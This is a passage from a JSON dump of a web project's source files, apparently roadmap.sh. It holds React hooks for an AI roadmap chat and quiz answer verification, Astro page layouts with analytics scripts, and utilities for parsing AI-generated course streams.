    "content": "import { useCallback, useMemo, useRef, useState, useEffect } from 'react';\nimport type { JSONContent } from '@tiptap/core';\nimport { flushSync } from 'react-dom';\nimport { removeAuthToken } from '../lib/jwt';\nimport { readStream } from '../lib/ai';\nimport { useToast } from './use-toast';\nimport { aiLimitOptions } from '../queries/ai-course';\nimport { queryClient } from '../stores/query-client';\nimport {\n  renderMessage,\n  type MessagePartRenderer,\n} from '../lib/render-chat-message';\nimport { UserProgressList } from '../components/RoadmapAIChat/UserProgressList';\nimport { UserProgressActionList } from '../components/RoadmapAIChat/UserProgressActionList';\nimport { RoadmapTopicList } from '../components/RoadmapAIChat/RoadmapTopicList';\nimport { ShareResourceLink } from '../components/RoadmapAIChat/ShareResourceLink';\nimport { RoadmapRecommendations } from '../components/RoadmapAIChat/RoadmapRecommendations';\nimport type { AllowedAIChatRole } from '../components/GenerateCourse/AICourseLessonChat';\nimport { readChatStream } from '../lib/chat';\n\ntype RoadmapAIChatRendererOptions = {\n  totalTopicCount: number;\n  roadmapId: string;\n  onSelectTopic: (topicId: string, topicTitle: string) => void;\n};\n\nexport function roadmapAIChatRenderer(\n  options: RoadmapAIChatRendererOptions,\n): Record<string, MessagePartRenderer> {\n  const { totalTopicCount, roadmapId, onSelectTopic } = options;\n\n  return {\n    'user-progress': () => (\n      <UserProgressList\n        totalTopicCount={totalTopicCount}\n        roadmapId={roadmapId}\n      />\n    ),\n    'update-progress': (opts) => (\n      <UserProgressActionList roadmapId={roadmapId} {...opts} />\n    ),\n    'roadmap-topics': (opts) => (\n      <RoadmapTopicList\n        roadmapId={roadmapId}\n        onTopicClick={(topicId, text) => {\n          const title = text.split(' > ').pop();\n          if (!title) {\n            return;\n          }\n\n          onSelectTopic(topicId, title);\n        }}\n        {...opts}\n      />\n    ),\n    'resource-progress-link': () => <ShareResourceLink roadmapId={roadmapId} />,\n    'roadmap-recommendations': (opts) => <RoadmapRecommendations {...opts} />,\n  };\n}\n\nexport type RoadmapAIChatHistoryType = {\n  role: AllowedAIChatRole;\n  isDefault?: boolean;\n  content?: string;\n  json?: JSONContent;\n  html?: string;\n  jsx?: React.ReactNode;\n};\n\ntype Options = {\n  activeChatHistoryId?: string;\n  roadmapId: string;\n  totalTopicCount: number;\n  scrollareaRef: React.RefObject<HTMLDivElement | null>;\n  onSelectTopic: (topicId: string, topicTitle: string) => void;\n  onChatHistoryIdChange?: (chatHistoryId: string) => void;\n};\n\nexport function useRoadmapAIChat(options: Options) {\n  const {\n    activeChatHistoryId,\n    roadmapId,\n    totalTopicCount,\n    scrollareaRef,\n    onSelectTopic,\n    onChatHistoryIdChange,\n  } = options;\n  const toast = useToast();\n\n  const [aiChatHistory, setAiChatHistory] = useState<\n    RoadmapAIChatHistoryType[]\n  >([]);\n  const [isStreamingMessage, setIsStreamingMessage] = useState(false);\n  const [streamedMessage, setStreamedMessage] =\n    useState<React.ReactNode | null>(null);\n  const [showScrollToBottom, setShowScrollToBottom] = useState(false);\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  const scrollToBottom = useCallback(\n    (behavior: 'smooth' | 'instant' = 'smooth') => {\n      scrollareaRef.current?.scrollTo({\n        top: scrollareaRef.current.scrollHeight,\n        behavior,\n      });\n    },\n    [scrollareaRef],\n  );\n\n  // Check if user has scrolled away from bottom\n  const checkScrollPosition = useCallback(() => {\n    const scrollArea = scrollareaRef.current;\n    if (!scrollArea) {\n      return;\n    }\n\n    const { scrollTop, scrollHeight, clientHeight } = scrollArea;\n    const isAtBottom = scrollTop + clientHeight >= scrollHeight - 50; // 50px threshold\n    setShowScrollToBottom(!isAtBottom && aiChatHistory.length > 0);\n  }, [aiChatHistory.length]);\n\n  useEffect(() => {\n    const scrollArea = scrollareaRef.current;\n    if (!scrollArea) {\n      return;\n    }\n\n    scrollArea.addEventListener('scroll', checkScrollPosition);\n    return () => scrollArea.removeEventListener('scroll', checkScrollPosition);\n  }, [checkScrollPosition]);\n\n  // When user is already at the bottom and there is new message\n  // being streamed, we keep scrolling to bottom to show the new message\n  // unless user has scrolled up at which point we stop scrolling to bottom\n  useEffect(() => {\n    if (isStreamingMessage || streamedMessage) {\n      const scrollArea = scrollareaRef.current;\n      if (!scrollArea) {\n        return;\n      }\n\n      const { scrollTop, scrollHeight, clientHeight } = scrollArea;\n      const isNearBottom = scrollTop + clientHeight >= scrollHeight - 100;\n\n      if (isNearBottom) {\n        scrollToBottom('instant');\n        setShowScrollToBottom(false);\n      }\n    }\n  }, [isStreamingMessage, streamedMessage, scrollToBottom]);\n\n  const renderer: Record<string, MessagePartRenderer> = useMemo(\n    () => roadmapAIChatRenderer({ roadmapId, totalTopicCount, onSelectTopic }),\n    [roadmapId, onSelectTopic, totalTopicCount],\n  );\n\n  const completeAITutorChat = async (\n    messages: RoadmapAIChatHistoryType[],\n    abortController?: AbortController,\n  ) => {\n    try {\n      const response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-chat-roadmap`,\n        {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          credentials: 'include',\n          signal: abortController?.signal,\n          body: JSON.stringify({\n            roadmapId,\n            messages,\n            ...(activeChatHistoryId\n              ? { chatHistoryId: activeChatHistoryId }\n              : {}),\n          }),\n        },\n      );\n\n      if (!response.ok) {\n        const data = await response.json();\n        toast.error(data?.message || 'Something went wrong');\n        setAiChatHistory(messages.slice(0, -1));\n        setIsStreamingMessage(false);\n        if (data.status === 401) {\n          removeAuthToken();\n          window.location.reload();\n        }\n        queryClient.invalidateQueries(aiLimitOptions());\n        return;\n      }\n\n      const stream = response.body;\n      if (!stream) {\n        setIsStreamingMessage(false);\n        toast.error('Something went wrong');\n        return;\n      }\n\n      await readChatStream(stream, {\n        onMessage: async (content) => {\n          if (abortController?.signal.aborted) {\n            return;\n          }\n\n          const jsx = await renderMessage(content, renderer, {\n            isLoading: true,\n          });\n          flushSync(() => {\n            setStreamedMessage(jsx);\n          });\n        },\n        onMessageEnd: async (content) => {\n          if (abortController?.signal.aborted) {\n            return;\n          }\n\n          const jsx = await renderMessage(content, renderer, {\n            isLoading: false,\n          });\n          const newMessages = [\n            ...messages,\n            { role: 'assistant' as AllowedAIChatRole, content, jsx },\n          ];\n          flushSync(() => {\n            setStreamedMessage(null);\n            setIsStreamingMessage(false);\n            setAiChatHistory(newMessages);\n          });\n          queryClient.invalidateQueries(aiLimitOptions());\n          queryClient.invalidateQueries({\n            predicate: (query) => {\n              return (\n                query.queryKey[0] === 'list-chat-history' &&\n                (query.queryKey[1] as { roadmapId: string })?.roadmapId ===\n                  roadmapId\n              );\n            },\n          });\n        },\n        onDetails: (details) => {\n          const chatHistoryId = details?.chatHistoryId;\n          if (!chatHistoryId) {\n            return;\n          }\n\n          onChatHistoryIdChange?.(chatHistoryId);\n        },\n      });\n\n      setIsStreamingMessage(false);\n      abortControllerRef.current = null;\n    } catch (error) {\n      setIsStreamingMessage(false);\n      setStreamedMessage(null);\n      abortControllerRef.current = null;\n      if (!abortController?.signal.aborted) {\n        toast.error('Something went wrong');\n      }\n    }\n  };\n\n  const handleChatSubmit = useCallback(\n    (json: JSONContent, isLoading: boolean) => {\n      if (\n        !json ||\n        isStreamingMessage ||\n        isLoading ||\n        abortControllerRef.current\n      ) {\n        return;\n      }\n\n      abortControllerRef.current = new AbortController();\n      const html = htmlFromTiptapJSON(json);\n      const newMessages = [\n        ...aiChatHistory,\n        { role: 'user' as AllowedAIChatRole, json, html },\n      ];\n\n      setIsStreamingMessage(true);\n      flushSync(() => setAiChatHistory(newMessages));\n      scrollToBottom('instant');\n      completeAITutorChat(newMessages, abortControllerRef.current);\n    },\n    [aiChatHistory, isStreamingMessage, scrollToBottom],\n  );\n\n  const handleAbort = useCallback(() => {\n    abortControllerRef.current?.abort();\n    abortControllerRef.current = null;\n    setIsStreamingMessage(false);\n    setStreamedMessage(null);\n    setAiChatHistory(aiChatHistory.slice(0, -1));\n  }, [aiChatHistory]);\n\n  const clearChat = useCallback(() => {\n    setAiChatHistory([]);\n    setStreamedMessage(null);\n    setIsStreamingMessage(false);\n    scrollToBottom('instant');\n    setShowScrollToBottom(false);\n  }, []);\n\n  return {\n    aiChatHistory,\n    isStreamingMessage,\n    streamedMessage,\n    showScrollToBottom,\n    setShowScrollToBottom,\n    abortControllerRef,\n    handleChatSubmit,\n    handleAbort,\n    clearChat,\n    scrollToBottom,\n    setAiChatHistory,\n  };\n}\n\nexport function htmlFromTiptapJSON(json: JSONContent): string {\n  const content = json.content;\n  let text = '';\n  for (const child of content || []) {\n    switch (child.type) {\n      case 'text':\n        text += child.text;\n        break;\n      case 'paragraph':\n        text += `<p>${htmlFromTiptapJSON(child)}</p>`;\n        break;\n      case 'variable':\n        const label = child?.attrs?.label || '';\n        text += `<span class=\"chat-variable\">${label}</span>`;\n        break;\n    }\n  }\n  return text;\n}\n"
  },
  {
    "path": "src/hooks/use-scroll-position.ts",
    "content": "import { useEffect, useState } from 'react';\n\nexport function useScrollPosition() {\n  const [scrollPosition, setScrollPosition] = useState<{\n    x: number;\n    y: number;\n  }>({\n    x: 0,\n    y: 0,\n  });\n\n  useEffect(() => {\n    const handleScroll = () => {\n      setScrollPosition({ x: window.scrollX, y: window.scrollY });\n    };\n\n    window.addEventListener('scroll', handleScroll);\n    return () => window.removeEventListener('scroll', handleScroll);\n  }, []);\n\n  return scrollPosition;\n}\n"
  },
  {
    "path": "src/hooks/use-sticky-stuck.tsx",
    "content": "import { type RefObject, useEffect, useState } from 'react';\nimport { isMobileScreen } from '../lib/is-mobile.ts';\n\n// Checks if the sticky element is stuck or not\nexport function useStickyStuck<T extends HTMLElement>(\n  ref: RefObject<T>,\n  offset: number = 0,\n): boolean {\n  const [isSticky, setIsSticky] = useState(false);\n\n  useEffect(() => {\n    if (isMobileScreen()) {\n      return;\n    }\n\n    const handleScroll = () => {\n      if (ref.current) {\n        setIsSticky(ref.current.getBoundingClientRect().top <= offset);\n      }\n    };\n\n    window.addEventListener('scroll', handleScroll);\n    return () => {\n      window.removeEventListener('scroll', handleScroll);\n    };\n  }, [ref, offset]);\n\n  return isSticky;\n}\n"
  },
  {
    "path": "src/hooks/use-team-id.ts",
    "content": "import { useEffect, useState } from 'react';\n\nexport function useTeamId() {\n  const [teamId, setTeamId] = useState<string | null>(null);\n  useEffect(() => {\n    const searchTeamId =\n      new URLSearchParams(window.location.search).get('t') || null;\n    setTeamId(searchTeamId);\n  }, []);\n\n  return { teamId };\n}\n"
  },
  {
    "path": "src/hooks/use-toast.ts",
    "content": "import { $toastMessage } from '../stores/toast';\n\nexport function useToast() {\n  function success(message: string) {\n    $toastMessage.set({ type: 'success', message });\n  }\n  function error(message: string) {\n    $toastMessage.set({ type: 'error', message });\n  }\n  function info(message: string) {\n    $toastMessage.set({ type: 'info', message });\n  }\n\n  function warning(message: string) {\n    $toastMessage.set({ type: 'warning', message });\n  }\n\n  function loading(message: string) {\n    $toastMessage.set({ type: 'loading', message });\n  }\n\n  return { success, error, info, warning, loading, $toastMessage };\n}\n"
  },
  {
    "path": "src/hooks/use-toggle-topic.ts",
    "content": "import { useEffect } from 'react';\nimport type { ResourceType } from '../lib/resource-progress';\n\ntype CallbackType = (data: {\n  resourceType: ResourceType;\n  resourceId: string;\n  topicId: string;\n}) => void;\n\nexport function useToggleTopic(callback: CallbackType) {\n  useEffect(() => {\n    function handleToggleTopic(e: any) {\n      const { resourceType, resourceId, topicId } = e.detail;\n\n      callback({\n        resourceType,\n        resourceId,\n        topicId,\n      });\n    }\n\n    window.addEventListener(`roadmap.topic.toggle`, handleToggleTopic);\n    window.addEventListener(`best-practice.topic.toggle`, handleToggleTopic);\n    return () => {\n      window.removeEventListener(\n        `best-practice.topic.toggle`,\n        handleToggleTopic\n      );\n    };\n  }, []);\n}\n"
  },
  {
    "path": "src/hooks/use-verify-answer.ts",
    "content": "import { useCallback, useRef, useState } from 'react';\nimport { removeAuthToken } from '../lib/jwt';\nimport { readChatStream } from '../lib/chat';\nimport { flushSync } from 'react-dom';\nimport type { VerifyQuizAnswerResponse } from '../components/AIQuiz/AIOpenEndedQuestion';\n\ntype VerifyAnswerResponse = {\n  status?: VerifyQuizAnswerResponse['status'];\n  feedback?: string;\n};\n\ntype UseVerifyAnswerOptions = {\n  quizSlug: string;\n  question: string;\n  userAnswer: string;\n\n  onError?: (error: Error) => void;\n  onFinish?: (data: VerifyAnswerResponse) => void;\n};\n\nexport function useVerifyAnswer(options: UseVerifyAnswerOptions) {\n  const { quizSlug, question, userAnswer, onError, onFinish } = options;\n\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  const contentRef = useRef<VerifyAnswerResponse | null>(null);\n  const [data, setData] = useState<VerifyAnswerResponse | null>(null);\n\n  const [status, setStatus] = useState<\n    'idle' | 'streaming' | 'loading' | 'ready' | 'error'\n  >('idle');\n\n  const verifyAnswer = useCallback(async () => {\n    try {\n      setStatus('loading');\n      abortControllerRef.current?.abort();\n      abortControllerRef.current = new AbortController();\n\n      const response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-verify-quiz-answer/${quizSlug}`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({ question, userAnswer }),\n          signal: abortControllerRef.current?.signal,\n          credentials: 'include',\n        },\n      );\n\n      if (!response.ok) {\n        const data = await response.json();\n        setStatus('error');\n        if (data.status === 401) {\n          removeAuthToken();\n          window.location.reload();\n        }\n\n        throw new Error(data?.message || 'Something went wrong');\n      }\n\n      const stream = response.body;\n      if (!stream) {\n        setStatus('error');\n        throw new Error('Something went wrong');\n      }\n\n      await readChatStream(stream, {\n        onMessage: async (content) => {\n          flushSync(() => {\n            setStatus('streaming');\n            contentRef.current = parseVerifyAIQuizAnswerResponse(content);\n            setData(contentRef.current);\n          });\n        },\n        onMessageEnd: async () => {\n          flushSync(() => {\n            setStatus('ready');\n          });\n        },\n      });\n\n      setStatus('idle');\n      abortControllerRef.current = null;\n\n      if (!contentRef.current) {\n        setStatus('error');\n        throw new Error('Something went wrong');\n      }\n\n      onFinish?.(contentRef.current);\n    } catch (error) {\n      if (abortControllerRef.current?.signal.aborted) {\n        // we don't want to show error if the user stops the chat\n        // so we just return\n        return;\n      }\n\n      onError?.(error as Error);\n      setStatus('error');\n    }\n  }, [quizSlug, question, userAnswer, onError]);\n\n  const stop = useCallback(() => {\n    if (!abortControllerRef.current) {\n      return;\n    }\n\n    abortControllerRef.current.abort();\n    abortControllerRef.current = null;\n  }, []);\n\n  return {\n    data,\n    status,\n    stop,\n    verifyAnswer,\n  };\n}\n\nexport function parseVerifyAIQuizAnswerResponse(\n  response: string,\n): VerifyQuizAnswerResponse {\n  const statusRegex = /<status>(.*?)<\\/status>/;\n  const status = response.match(statusRegex)?.[1]?.trim();\n  const responseWithoutStatus = response.replace(statusRegex, '').trim();\n\n  return {\n    status: status as VerifyQuizAnswerResponse['status'],\n    feedback: responseWithoutStatus,\n  };\n}\n"
  },
  {
    "path": "src/layouts/AccountLayout.astro",
    "content": "---\nimport BaseLayout, { type Props as BaseLayoutProps } from './BaseLayout.astro';\n\nexport interface Props extends BaseLayoutProps {}\n\nconst props = Astro.props;\n---\n\n<BaseLayout {...props} noIndex={true}>\n  <div slot='ad-slot-script'></div>\n  <div slot='ad-slot'></div>\n\n  <slot />\n  <div slot='login-popup'></div>\n  <div slot='page-footer'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/layouts/BaseLayout.astro",
    "content": "---\nimport '../styles/global.css';\n\nimport Analytics from '../components/Analytics/Analytics.astro';\nimport Clarity from '../components/Analytics/Clarity.astro';\nimport GoogleAd from '../components/Analytics/GoogleAd.astro';\nimport GoogleAdSlot from '../components/Analytics/GoogleAdSlot.astro';\nimport Hubspot from '../components/Analytics/Hubspot.astro';\nimport RedditPixel from '../components/Analytics/RedditPixel.astro';\nimport LoginPopup from '../components/AuthenticationFlow/LoginPopup.astro';\nimport Authenticator from '../components/Authenticator/Authenticator.astro';\nimport { CommandMenu } from '../components/CommandMenu/CommandMenu';\nimport Footer from '../components/Footer.astro';\nimport Navigation from '../components/Navigation/Navigation.astro';\nimport OpenSourceBanner from '../components/OpenSourceBanner.astro';\nimport { PageProgress } from '../components/PageProgress';\nimport { PageVisit } from '../components/PageVisit/PageVisit';\nimport { CourseAnnouncement } from '../components/SQLCourse/CourseAnnouncement';\nimport { Toaster } from '../components/Toast';\nimport { siteConfig } from '../lib/config';\nimport type { ResourceType } from '../lib/resource-progress';\nimport Bluconic from '../components/Analytics/Bluconic.astro';\nimport OneTrust from '../components/Analytics/OneTrust.astro';\nimport LinkedIn from '../components/Analytics/LinkedIn.astro';\nimport { cn } from '../lib/classname';\nimport { GlobalUpgradeModal } from '../components/Billing/GlobalUpgradeModal';\n\nexport interface Props {\n  title: string;\n  ogImageUrl?: string;\n  htmlClassName?: string;\n  bodyClassName?: string;\n  // This isn't used anywhere except for the sponsor event labels\n  briefTitle?: string;\n  redirectUrl?: string;\n  description?: string;\n  keywords?: string[];\n  noIndex?: boolean;\n  canonicalUrl?: string;\n  initialLoadingMessage?: string;\n  permalink?: string;\n  jsonLd?: Record<string, unknown>[];\n  resourceId?: string;\n  resourceType?: ResourceType;\n}\n\nconst {\n  title = siteConfig.title,\n  htmlClassName,\n  bodyClassName,\n  briefTitle,\n  description = siteConfig.description,\n  ogImageUrl = 'https://roadmap.sh/img/og-img.png',\n  keywords = siteConfig.keywords,\n  noIndex = false,\n  permalink = '',\n  canonicalUrl: givenCanonical = '',\n  jsonLd = [],\n  redirectUrl = '',\n  initialLoadingMessage = '',\n  resourceId,\n  resourceType,\n} = Astro.props;\n\n// Remove trailing slashes to consider the page as canonical\nconst currentPageAbsoluteUrl = `https://roadmap.sh${permalink}`;\nconst canonicalUrl = givenCanonical || currentPageAbsoluteUrl;\nconst commitUrl = `https://github.com/kamranahmedse/developer-roadmap/commit/${\n  import.meta.env.GITHUB_SHA\n}`;\n\n// e.g. frontend:react or best-practices:frontend-performance\nconst gaPageIdentifier = Astro.url.pathname\n  .replace(/^\\//, '')\n  .replace(/\\/$/, '')\n  .replace(/\\//g, ':');\n---\n\n<!doctype html>\n<html lang='en' class={htmlClassName}>\n  <head>\n    <meta charset='UTF-8' />\n    <meta name='generator' content={Astro.generator} />\n    <meta name='commit' content={commitUrl} />\n    <title>{title}</title>\n    <meta name='description' content={description} />\n    <meta name='keywords' content={keywords.join(', ')} />\n    {\n      redirectUrl && (\n        <meta http-equiv='refresh' content={`1;url=${redirectUrl}`} />\n      )\n    }\n    {noIndex && <meta name='robots' content='noindex' />}\n    <meta\n      name='viewport'\n      content='width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=3.0, minimum-scale=1.0'\n    />\n    <meta http-equiv='Content-Language' content='en' />\n\n    <meta name='twitter:card' content='summary_large_image' />\n    <meta name='twitter:creator' content='@kamrify' />\n\n    <meta property='og:image:width' content='1200' />\n    <meta property='og:image:height' content='630' />\n    <meta\n      property='og:image'\n      content={ogImageUrl || 'https://roadmap.sh/img/og-img.png'}\n    />\n    <meta property='og:image:alt' content='roadmap.sh' />\n    <meta property='og:site_name' content='roadmap.sh' />\n    <meta property='og:title' content={title} />\n    <meta property='og:description' content={description} />\n    <meta property='og:type' content='website' />\n    <meta property='og:url' content={currentPageAbsoluteUrl} />\n\n    <link rel='canonical' href={canonicalUrl} />\n\n    <meta name='mobile-web-app-capable' content='yes' />\n    <meta name='apple-mobile-web-app-capable' content='yes' />\n    <meta\n      name='apple-mobile-web-app-status-bar-style'\n      content='black-translucent'\n    />\n    <meta name='apple-mobile-web-app-title' content='roadmap.sh' />\n    <meta name='application-name' content='roadmap.sh' />\n    <meta\n      name='ahrefs-site-verification'\n      content='04588b1b3d0118b4f973fa24f9df38ca6300d152cc26529a639e9a34d09c9880'\n    />\n\n    <link\n      rel='apple-touch-icon'\n      sizes='180x180'\n      href='/manifest/apple-touch-icon.png'\n    />\n    <meta name='msapplication-TileColor' content='#101010' />\n    <meta name='theme-color' content='#848a9a' />\n\n    <link rel='manifest' href='/manifest/manifest.json' />\n    <link\n      rel='icon'\n      type='image/png'\n      sizes='32x32'\n      href='/manifest/icon32.png'\n    />\n    <link\n      rel='icon'\n      type='image/png'\n      sizes='16x16'\n      href='/manifest/icon16.png'\n    />\n    <link\n      rel='shortcut icon'\n      href='/manifest/favicon.ico'\n      type='image/x-icon'\n    />\n\n    <link rel='icon' href='/manifest/favicon.ico' type='image/x-icon' />\n\n    <link rel='preconnect' href='https://www.google-analytics.com/' />\n    <link rel='preconnect' href='https://api.roadmap.sh/' />\n\n    <!-- Google Tag Manager Start -->\n    <script is:inline>\n      (function (w, d, s, l, i) {\n        w[l] = w[l] || [];\n        w[l].push({ 'gtm.start': new Date().getTime(), event: 'gtm.js' });\n        var f = d.getElementsByTagName(s)[0],\n          j = d.createElement(s),\n          dl = l != 'dataLayer' ? '&l=' + l : '';\n        j.async = true;\n        j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl;\n        f.parentNode.insertBefore(j, f);\n      })(window, document, 'script', 'dataLayer', 'GTM-T66KC7S8');\n    </script>\n    <!-- Google Tag Manager End -->\n\n    <slot name='after-header' />\n    {\n      jsonLd.length > 0 && (\n        <script type='application/ld+json' set:html={JSON.stringify(jsonLd)} />\n      )\n    }\n\n    <Analytics />\n\n    <slot name='ad-slot-script'>\n      <GoogleAd />\n    </slot>\n\n    {\n      !import.meta.env.DEV && (\n        <>\n          <OneTrust />\n          <Clarity />\n          <RedditPixel />\n          <Hubspot />\n          <Bluconic />\n        </>\n      )\n    }\n  </head>\n  <body class={cn('flex min-h-screen flex-col', bodyClassName)}>\n    <!-- Google Tag Manager (noscript) -->\n    <noscript>\n      <iframe\n        src='https://www.googletagmanager.com/ns.html?id=GTM-T66KC7S8'\n        height='0'\n        width='0'\n        style='display:none;visibility:hidden'></iframe>\n    </noscript>\n    <!-- End Google Tag Manager (noscript) -->\n\n    <slot name='course-announcement'>\n      <CourseAnnouncement client:load />\n    </slot>\n    <slot name='page-header'>\n      <Navigation />\n    </slot>\n\n    <slot />\n\n    <slot name='page-footer'>\n      <slot name='changelog-banner' />\n      <slot name='open-source-banner'>\n        <OpenSourceBanner />\n      </slot>\n      <Footer />\n    </slot>\n\n    <Authenticator />\n    <slot name='login-popup'>\n      <LoginPopup />\n    </slot>\n\n    <Toaster client:only='react' />\n    <CommandMenu client:idle />\n    <PageProgress initialMessage={initialLoadingMessage} client:idle />\n    <GlobalUpgradeModal client:only='react' />\n\n    <slot name='ad-slot'>\n      <GoogleAdSlot />\n    </slot>\n\n    <slot name='after-footer' />\n\n    <PageVisit\n      resourceId={resourceId}\n      resourceType={resourceType}\n      client:load\n    />\n\n    {!import.meta.env.DEV && <LinkedIn />}\n  </body>\n</html>\n"
  },
  {
    "path": "src/layouts/MarkdownLayout.astro",
    "content": "---\nimport BaseLayout from './BaseLayout.astro';\n\nconst { frontmatter = {} } = Astro.props;\nconst { title, description, noIndex = false } = frontmatter;\n---\n\n<BaseLayout {...frontmatter}>\n  <div class='container prose py-12'>\n    <slot />\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/layouts/SkeletonLayout.astro",
    "content": "---\nimport BaseLayout, { type Props as BaseLayoutProps } from './BaseLayout.astro';\n\nexport interface Props extends BaseLayoutProps {}\n\nconst props = Astro.props;\n---\n\n<BaseLayout {...props}>\n  <div slot='ad-slot-script'></div>\n  <div slot='ad-slot'></div>\n\n  <div slot='course-announcement'></div>\n  <div slot='page-header'></div>\n  <slot />\n  <div slot='page-footer'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/lib/ai-questions.ts",
    "content": "import type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\n\nexport function storeQuestionAnswerChatMessages(\n  messages: QuestionAnswerChatMessage[],\n) {\n  const sessionId = Date.now().toString();\n\n  localStorage.setItem(sessionId, JSON.stringify(messages));\n  localStorage.setItem('lastMessagesSessionId', sessionId);\n\n  return sessionId;\n}\n\nexport function getQuestionAnswerChatMessages(sessionId: string) {\n  const messages = localStorage.getItem(sessionId);\n  if (!messages) {\n    return [];\n  }\n\n  return JSON.parse(messages);\n}\n\nexport function getLastMessagesSessionId() {\n  return localStorage.getItem('lastMessagesSessionId');\n}\n\nexport function clearQuestionAnswerChatMessages() {\n  localStorage.removeItem('lastMessagesSessionId');\n}\n"
  },
  {
    "path": "src/lib/ai.ts",
    "content": "import Cookies from 'js-cookie';\nimport { nanoid } from 'nanoid';\nimport { TOKEN_COOKIE_NAME } from './jwt';\nimport { FetchError } from './query-http';\nimport { DefaultChatTransport, type UIMessage } from 'ai';\n\nexport const IS_KEY_ONLY_ROADMAP_GENERATION = false;\n\ntype Lesson = string;\n\ntype Module = {\n  title: string;\n  lessons: Lesson[];\n};\n\nexport type AiCourse = {\n  title: string;\n  modules: Module[];\n  done: string[];\n};\n\nexport function generateAiCourseStructure(data: string): AiCourse {\n  const lines = data.split('\\n');\n  let title = '';\n  const modules: Module[] = [];\n  let currentModule: Module | null = null;\n\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i].trim();\n\n    if (i === 0 && line.startsWith('#')) {\n      // First line is the title\n      title = line.replace('#', '').trim();\n    } else if (line.startsWith('## ')) {\n      // New module\n      if (currentModule) {\n        modules.push(currentModule);\n      }\n      currentModule = {\n        title: line.replace('## ', ''),\n        lessons: [],\n      };\n      // Removed auto-expand code to keep modules collapsed by default\n    } else if (line.startsWith('- ') && currentModule) {\n      // Lesson within current module\n      currentModule.lessons.push(line.replace('- ', ''));\n    }\n  }\n\n  // Add the last module if it exists\n  if (currentModule) {\n    modules.push(currentModule);\n  }\n\n  return {\n    title,\n    modules,\n    done: [],\n  };\n}\n\ntype CourseFineTuneData = {\n  about: string;\n  goal: string;\n  customInstructions: string;\n};\n\nexport function storeFineTuneData(meta: CourseFineTuneData) {\n  const sessionId = Date.now().toString();\n\n  localStorage.setItem(sessionId, JSON.stringify(meta));\n  localStorage.setItem('lastSessionId', sessionId);\n\n  return sessionId;\n}\n\nexport function getCourseFineTuneData(\n  sessionId: string,\n): CourseFineTuneData | null {\n  const meta = localStorage.getItem(sessionId);\n  if (!meta) {\n    return null;\n  }\n\n  return JSON.parse(meta);\n}\n\nexport function getLastSessionId(): string | null {\n  return localStorage.getItem('lastSessionId');\n}\n\nexport function clearFineTuneData() {\n  const sessionId = getLastSessionId();\n  if (sessionId) {\n    localStorage.removeItem(sessionId);\n  }\n\n  localStorage.removeItem('lastSessionId');\n}\n\nconst NEW_LINE = '\\n'.charCodeAt(0);\n\nexport async function readAIRoadmapStream(\n  reader: ReadableStreamDefaultReader<Uint8Array>,\n  {\n    onStream,\n    onStreamEnd,\n  }: {\n    onStream?: (roadmap: string) => void;\n    onStreamEnd?: (roadmap: string) => void;\n  },\n) {\n  const decoder = new TextDecoder('utf-8');\n  let result = '';\n\n  while (true) {\n    const { value, done } = await reader.read();\n    if (done) {\n      break;\n    }\n\n    // We will call the renderRoadmap callback whenever we encounter\n    // a new line with the result until the new line\n    // otherwise, we will keep appending the result to the previous result\n    if (value) {\n      let start = 0;\n      for (let i = 0; i < value.length; i++) {\n        if (value[i] === NEW_LINE) {\n          result += decoder.decode(value.slice(start, i + 1));\n          await onStream?.(result);\n          start = i + 1;\n        }\n      }\n      if (start < value.length) {\n        result += decoder.decode(value.slice(start));\n      }\n    }\n  }\n\n  await onStream?.(result);\n  await onStreamEnd?.(result);\n  reader.releaseLock();\n}\n\nexport async function readAIRoadmapContentStream(\n  reader: ReadableStreamDefaultReader<Uint8Array>,\n  {\n    onStream,\n    onStreamEnd,\n  }: {\n    onStream?: (roadmap: string) => void;\n    onStreamEnd?: (roadmap: string) => void;\n  },\n) {\n  const decoder = new TextDecoder('utf-8');\n  let result = '';\n\n  while (true) {\n    const { value, done } = await reader.read();\n    if (done) {\n      break;\n    }\n\n    if (value) {\n      result += decoder.decode(value);\n      onStream?.(result);\n    }\n  }\n\n  onStream?.(result);\n  onStreamEnd?.(result);\n  reader.releaseLock();\n}\n\nexport async function readStream(\n  reader: ReadableStreamDefaultReader<Uint8Array>,\n  {\n    onStream,\n    onStreamEnd,\n  }: {\n    onStream?: (course: string) => Promise<void>;\n    onStreamEnd?: (course: string) => Promise<void>;\n  },\n) {\n  const decoder = new TextDecoder('utf-8');\n  let result = '';\n\n  while (true) {\n    const { value, done } = await reader.read();\n    if (done) {\n      break;\n    }\n\n    // Process the stream data as it comes in\n    if (value) {\n      let start = 0;\n      for (let i = 0; i < value.length; i++) {\n        if (value[i] === NEW_LINE) {\n          result += decoder.decode(value.slice(start, i + 1));\n          await onStream?.(result);\n          start = i + 1;\n        }\n      }\n      if (start < value.length) {\n        result += decoder.decode(value.slice(start));\n      }\n    }\n  }\n\n  await onStream?.(result);\n  await onStreamEnd?.(result);\n  reader.releaseLock();\n}\n\nexport type Question = {\n  id: string;\n  title: string;\n  options: {\n    id: string;\n    title: string;\n    isCorrect: boolean;\n  }[];\n};\n\nexport function generateAiCourseLessonQuestions(\n  questionData: string,\n): Question[] {\n  const questions: Question[] = [];\n\n  const lines = questionData.split('\\n');\n  let currentQuestion: Question | null = null;\n\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i].trim();\n    if (line.startsWith('#')) {\n      if (currentQuestion) {\n        questions.push(currentQuestion);\n        currentQuestion = null;\n      }\n\n      const title = line.replace('#', '').trim();\n      currentQuestion = {\n        id: nanoid(),\n        title,\n        options: [],\n      };\n    } else if (line.startsWith('-')) {\n      if (!currentQuestion) {\n        continue;\n      }\n\n      let title = line.replace('-', '').trim();\n      const isCorrect = title.startsWith('*');\n      title = title.replace('*', '').trim();\n\n      